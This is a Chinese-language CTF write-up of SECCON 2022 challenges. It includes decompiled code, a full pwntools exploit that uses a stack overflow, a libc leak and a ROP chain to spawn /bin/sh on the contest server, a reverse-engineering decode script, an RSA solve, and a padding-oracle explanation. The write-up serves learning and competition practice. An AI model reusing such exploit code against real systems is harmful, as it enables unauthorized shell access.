从一开始入门CTF,SECCON的名字就如雷贯耳,如今参加了又很失望,距离参加这种比赛还是太远了。只是作了两个100人以上作出来的小题。
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- char v4[32]; // [rsp+0h] [rbp-50h] BYREF
- char v5[48]; // [rsp+20h] [rbp-30h] BYREF
-
- puts("Hello! What is your name?");
- __isoc99_scanf("%[^\n]s", v5);
- printf("Nice to meet you, %s!\n", v5);
- puts("Which country do you live in?");
- __isoc99_scanf("%s", v4);
- printf("Wow, %s is such a nice country!\n", v4);
- puts("It was nice meeting you. Goodbye!");
- return 0;
- }
也算是个送分的题,题目很容易看,就两个scanf很显然这里有溢出,只是溢出有一点小限制,猜测第一个会带出一个地址,试了一下猜对了,这里有个小技巧:scanf里取消了回车,如果你输入一个字符,那么里边的残留就会被截断,从而得到不了泄露。这里需要直接输入一个回车,scanf测试到错误跳过。其实就这么一个坑,带出来的是libc 地址,所以不用第二次处理就能直接得到shell了
- from pwn import *
-
- #p = process('./p4')
- p = remote('koncha.seccon.games', 9001)
- context(arch='amd64', log_level='debug')
-
- libc_elf = ELF('./libc-2.31.so')
-
- #gdb.attach(p)
- #pause()
- p.sendlineafter(b"Hello! What is your name?", b'') #直接回车绕过scanf保留栈内的数据残留
- p.recvuntil(b'Nice to meet you, ')
- libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1f12e8
- libc_elf.address = libc_base
- print('libc:', hex(libc_base))
-
- pop_rdi = next(libc_elf.search(asm('pop rdi; ret')))
- bin_sh = next(libc_elf.search(b'/bin/sh\x00'))
-
- pay = b'A'*0x58+ flat(pop_rdi+1, pop_rdi, bin_sh, libc_elf.sym['system'])
-
- p.sendlineafter(b"Which country do you live in?\n", pay)
-
- p.interactive()
这个也算简单,虽然用了MM但用得比较少,其实长长型也容易理解,不算是坑
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- const char *v5; // r12
- size_t v10; // rax
- size_t v11; // rdi
- unsigned __int64 v12; // rcx
- const char *v13; // rsi
- __int64 v14; // rax
- unsigned __int64 v15; // rdx
- int v16; // r12d
- __m128i v18; // [rsp+0h] [rbp-68h]
- char v19[8]; // [rsp+10h] [rbp-58h] BYREF
- __m128i si128; // [rsp+20h] [rbp-48h]
- __m128i v21; // [rsp+30h] [rbp-38h]
- int v22; // [rsp+40h] [rbp-28h]
- unsigned __int64 v23; // [rsp+48h] [rbp-20h]
-
- v23 = __readfsqword(0x28u);
- _RAX = 0LL;
- if ( argc <= 1 )
- {
- v16 = 1;
- __printf_chk(1LL, "Usage: %s FLAG\n", *argv);
- }
- else
- {
- v5 = argv[1];
- __asm { cpuid }
- v22 = '8\nA';
- strcpy(v19, "N 2022");
- si128 = _mm_load_si128((const __m128i *)&xmmword_3140);
- v21 = _mm_load_si128((const __m128i *)&xmmword_3150);
- v18 = _mm_load_si128((const __m128i *)&xmmword_3160);
- v10 = strlen(v5);
- v11 = v10;
- if ( v10 )
- {
- *v5 ^= 0x57u;
- v12 = 1LL;
- if ( v10 != 1 )
- {
- do
- {
- v13 = &argv[1][v12];
- v14 = v12 / 0x16
- + 2 * (v12 / 0x16 + (((0x2E8BA2E8BA2E8BA3LL * (unsigned __int128)v12) >> 64) & 0xFFFFFFFFFFFFFFFCLL));
- v15 = v12++;
- *v13 ^= v18.m128i_u8[v15 - 2 * v14];
- }
- while ( v11 != v12 );
- }
- v5 = argv[1];
- }
- if ( *(_OWORD *)&si128 == *(_OWORD *)v5 && *(_OWORD *)&v21 == *((_OWORD *)v5 + 1) && *((_DWORD *)v5 + 8) == v22 )
- {
- v16 = 0;
- puts("Correct!");
- }
- else
- {
- v16 = 0;
- puts("Wrong...");
- }
- }
- return v16;
- }
从流程上看*v13 ^=.... 这是个类似流加密,也就是生成一个流,然后把明文依次与与流异或。它的流是固定的一个串里的值,偏移通过流计算得到。所以直接还原流,就可以用密文直接异或出明文
- v1 = bytes.fromhex('2B2D3675357F1A44591E2320202F2004')[::-1]
- v2 = bytes.fromhex('362B470401093C150736506D035A1711')[::-1]
- v3 = bytes.fromhex('380A41')[::-1]
- v18 = bytes.fromhex('4F43434553206F7420656D6F636C6557')[::-1]+b"N 2022"
- c = v1+v2+v3
- v15 = 35
-
- v12 = 1
- m = [c[0]^0x57]
- for v12 in range(1,35):
- v14 = v12 // 0x16 + 2 * (v12 // 0x16 + (((0x2E8BA2E8BA2E8BA3 * v12) >> 64) & 0xFFFFFFFFFFFFFFFC))
- print(v12, v14, v12 - 2*v14)
- m.append(c[v12]^ v18[v12-2*v14])
-
- print(m, bytes(m))
这个作出来的人也很多,可惜这有个坎过不去,等WP了
原题
- from Crypto.Util.number import *
- from Crypto.Random import *
- from flag import flag
-
- p = getPrime(512)
- q = getPrime(512)
- r = getPrime(512)
- n = p * q * r
- e = 2 * 65537
-
- assert n.bit_length() // 8 - len(flag) > 0
- padding = get_random_bytes(n.bit_length() // 8 - len(flag))
- m = bytes_to_long(padding + flag)
-
- assert m < n
-
- c1p = pow(p, e, n)
- c1q = pow(q, e, n)
- cm = pow(m, e, n)
- c1 = (c1p - c1q) % n
- c2 = pow(p - q, e, n)
-
- print(f"e = {e}")
- print(f"n = {n}")
- # p^e - q^e mod n
- print(f"c1 = {c1}")
- # (p-q)^e mod n
- print(f"c2 = {c2}")
- # m^e mod n
- print(f"cm = {cm}")
这里e = 2*65537 显然这是个坑,但是这个坑有点大,超过我的跳跃能力。
先从头看吧,c1p,c1q分别是p^e,q^e然后得到c1,c2其实这里是为了绕人,这两个值其实就是
- c1 = p**e - q**e (mod n)
- c2 = (p-q)**e = p**e + q**e (mod n)
- c1 + c2 = 2*p**e (mod n)
- c2 - c1 = 2*q**e (mod n)
这样可以直接用gcd根据 c1,c2求出p,q
然后问题就严重了,e和phi有公因子2,这时候一般由于明文比较小,求出来的就是m**2,但这里加了padding使的明文与n相差不大,所以我就不会了.等wp吧,看了ddl的WP,发现这方法一样啊,这个方法前两天专门写过,怎么我就不对了呢。然后再默写一遍秒成(sage运行)
- from Crypto.Util.number import long_to_bytes
-
- e = 131074
- n = 587926815910957928506680558951380405698765957736660571041732511939308424899531125274073420353104933723578377320050609109973567093301465914201779673281463229043539776071848986139657349676692718889679333084650490543298408820393827884588301690661795023628407437321580294262453190086595632660415087049509707898690300735866307908684649384093580089579066927072306239235691848372795522705863097316041992762430583002647242874432616919707048872023450089003861892443175057
- c1 = 92883677608593259107779614675340187389627152895287502713709168556367680044547229499881430201334665342299031232736527233576918819872441595012586353493994687554993850861284698771856524058389658082754805340430113793873484033099148690745409478343585721548477862484321261504696340989152768048722100452380071775092776100545951118812510485258151625980480449364841902275382168289834835592610827304151460005023283820809211181376463308232832041617730995269229706500778999
- c2 = 46236476834113109832988500718245623668321130659753618396968458085371710919173095425312826538494027621684566936459628333712619089451210986870323342712049966508077935506288610960911880157875515961210931283604254773154117519276154872411593688579702575956948337592659599321668773003355325067112181265438366718228446448254354388848428310614023369655106639341893255469632846938342940907002778575355566044700049191772800859575284398246115317686284789740336401764665472
- cm = 357982930129036534232652210898740711702843117900101310390536835935714799577440705618646343456679847613022604725158389766496649223820165598357113877892553200702943562674928769780834623569501835458020870291541041964954580145140283927441757571859062193670500697241155641475887438532923910772758985332976303801843564388289302751743334888885607686066607804176327367188812325636165858751339661015759861175537925741744142766298156196248822715533235458083173713289585866
-
- #
- p = gcd(c1+c2, n)
- q = gcd(c2-c1, n)
- r = n//p//q
-
- phi = (p-1)*(q-1)*(r-1)
- d = inverse_mod(e//2, phi)
- m2 = pow(cm,d,n)
-
- #分别对n各因子求
- P.
= PolynomialRing(Zmod(p)) - f = x^2 - m2
- f.monic()
- res1 = f.roots()
-
- P.
= PolynomialRing(Zmod(q)) - f = x^2 - m2
- f.monic()
- res2 = f.roots()
-
- P.
= PolynomialRing(Zmod(r)) - f = x^2 - m2
- f.monic()
- res3 = f.roots()
-
- for x in res1:
- for y in res2:
- for z in res3:
- m = CRT([int(x[0]), int(y[0]), int(z[0])],[p,q,r])
- #print(m)
- flag = long_to_bytes(m)
- if b'SEC' in flag:
- print(flag)
-
- '''
- ┌──(kali㉿kali)-[~/ctf/seccon]
- └─$ sage a.sage
- b'\x12=\x04q\x9b\xb8\x1c\x10C\x02\x1e\x13`\xac>A\x9c\xf9\x9d\xc2\x83\xc2\xcd\x15\x97\x86\x8e\xd2\x85*s\r\x18~\x9b\xbai\xb1\x07\xacF\x0f\xfcrZ\xf1\xd0\x1f\xb0q\xe4\xbf\xd2\x87G\x1b\xdc\xd2u\x97\xb3\xcc?\xba\xba@\xae\x96\xdc\x1b\x10\xd3\x00f\nH\x99d\xf7{\xea \x82T\xf5\x03\x81\xd0:\r\x8d\xa6P\x92\xa0\x1d\x91n u6}:\x98\r\xa0\xbc\xe5\x84y\x01\x89\xa4P\xf4\xf9\xe4\xf2\x95\x8d\x85\x11\xfezN\x06- e(\x80\xd2\x01\x8e\x94&\xf7amQ\x08@\xd4w\x8e\xbbP\xfa\x17SECCON{being_able_to_s0lve_this_1s_great!}'
- '''
这个题也挺好,题目将flag先进行GCM模式加密再进行OFB模式加密,然后提供解密是否成功的反馈.
- from Crypto.Cipher import AES
- from Crypto.Random import get_random_bytes
- from Crypto.Util.Padding import pad, unpad
- from flag import flag, secret_spell
-
- key = get_random_bytes(16)
- nonce = get_random_bytes(16)
-
-
- def encrypt():
- data = secret_spell
- gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
- gcm_ciphertext, gcm_tag = gcm_cipher.encrypt_and_digest(data) #CTR+消息验证码(?)
-
- ofb_input = pad(gcm_tag + gcm_cipher.nonce + gcm_ciphertext, 16)
-
- ofb_iv = get_random_bytes(16)
- ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv) #OFB
- ciphertext = ofb_cipher.encrypt(ofb_input)
- return ofb_iv + ciphertext
-
-
- def decrypt(data):
- ofb_iv = data[:16]
- ofb_ciphertext = data[16:]
- ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)
-
- try:
- m = ofb_cipher.decrypt(ofb_ciphertext)
- temp = unpad(m, 16) #从最后一位padding
- except:
- return b"ofb error"
-
- try:
- gcm_tag = temp[:16]
- gcm_nonce = temp[16:32]
- gcm_ciphertext = temp[32:]
- gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=gcm_nonce)
-
- plaintext = gcm_cipher.decrypt_and_verify(gcm_ciphertext, gcm_tag)
- except:
- return b"gcm error"
-
- if b"give me key" == plaintext:
- your_spell = input("ok, please say secret spell:").encode()
- if your_spell == secret_spell:
- return flag
- else:
- return b"Try Harder"
-
- return b"ok"
-
-
- print(f"ciphertext: {encrypt().hex()}")
- while True:
- c = input("ciphertext: ")
- print(decrypt(bytes.fromhex(c)))
后一步是OFB,这种模式只加密生成z流,明文跟它异或得到密文,只需要爆破得到z流就可以进行加解密.
得到z的方法就是padding oracle,简单的说如果一断密文结束了,那么最后一个一定是padding如果每段是16字符,明文差3个不够16就在后边被3个3,爆破的方法就是从最后一位改,如果它不报错了就说明末位是1,也就得到了最后一位z然后将最后两位改为2(最后一位得到z后可以算出来,所以需要爆破的是倒数第2位)这样16*256次就能得到一断的z,然后依次向前爆就行了.
可以后边一步GCM会运算一个校验码这个就不会整了,等WP .
后边都看了,都不会,等着吧.